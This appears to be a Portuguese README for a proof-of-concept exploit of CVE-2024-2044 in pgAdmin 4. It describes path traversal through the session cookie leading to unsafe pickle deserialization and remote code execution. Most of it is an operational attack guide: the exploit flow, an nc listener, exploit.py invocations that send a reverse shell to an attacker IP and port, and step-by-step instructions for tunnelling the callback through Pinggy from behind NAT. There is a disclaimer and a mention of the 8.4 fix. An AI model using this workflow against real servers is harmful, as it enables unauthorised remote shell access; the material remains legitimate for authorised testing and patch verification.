
PoC em Python que explora a CVE-2024-2044 no pgAdmin 4 (<=8.3) por meio de path traversal autenticado e desserialização insegura de pickle para obter execução remota de código e reverse shell.
Este repositório contém um script Proof of Concept (PoC) para CVE-2024-2044, uma vulnerabilidade crítica que combina Authenticated Path Traversal e Unsafe Deserialization no pgAdmin 4 (versões 8.3 e anteriores) executando em ambiente Linux/POSIX.
[!WARNING] DISCLAIMER: Este código foi criado apenas para fins educacionais, pesquisa de segurança e testes de penetração autorizados (authorized pentesting). O uso indevido deste código para atacar alvos sem autorização por escrito é uma ação ilegal e viola a lei.
No pgAdmin 4 em modo servidor em ambiente Linux, o gerenciamento de sessão é armazenado na forma de arquivos locais. A vulnerabilidade ocorre porque a função FileBackedSessionManager.get() aceita o valor do cookie HTTP pga4_session e o concatena ao caminho do diretório usando os.path.join sem sanitizar caracteres de manipulação de caminho (../).
Este script PoC explora essa falha com o seguinte fluxo:
pickle malicioso contendo um comando de Reverse Shell. Este arquivo é armazenado sob o diretório de armazenamento do usuário (ex.: /storage/nome_usuario/)./login manipulando o cookie pga4_session para um caminho relativo apontando para o arquivo pickle enviado (ex.: ../storage/nome_usuario/file.pickle!). O caractere ! é usado para se adequar à busca de extensão de arquivo de sessão no pgAdmin 4.pickle.loads(). Como resultado, o payload executa um processo Python separado (detached) que lança um Reverse Shell para o atacante.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Se a sua máquina estiver atrás de NAT/Router e precisar de tunnelling público, você pode usar o serviço Pinggy.io com os seguintes passos:
Inicie o nc na máquina local primeiro usando a porta de sua escolha (ex.: porta 1337):
nc -lvnp 1337
Abra um novo terminal e execute o comando SSH do Pinggy. Certifique-se de que a porta local no final (1337) corresponda à porta nc que você iniciou anteriormente:
ssh -p 443 -R0:localhost:1337 [email protected]
Após conectar, o Pinggy fornecerá uma URL pública TCP, por exemplo:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Nota: A porta pública obtida do Pinggy é 43143 (Esta será o -lport posteriormente).
O servidor pgAdmin 4 alvo requer o formato de endereço IP real para a conexão socket do reverse shell. Faça um nslookup no domínio da sua URL do Pinggy:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
A saída mostrará o IP público do servidor Pinggy (escolha o IPv4 na seção Address mais acima):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
Da saída acima, obtém-se o IP real do Pinggy: 172.236.148.125.

Execute o script PoC inserindo o IP resultante do nslookup como -lhost e a porta pública do Pinggy como -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL do alvo pgAdmin 4 (Obrigatório).-u, --username: Email/Username de login (Padrão: [email protected]).-p, --password: Senha de login (Padrão: player123).-lhost : Endereço IP do atacante / IP resultante do nslookup do Pinggy (Obrigatório).-lport : Porta do listener do atacante / Porta pública do Pinggy (Obrigatório).Esta vulnerabilidade foi corrigida no pgAdmin 4 versão 8.4. Se você gerencia um servidor vulnerável, tome as seguintes ações imediatamente: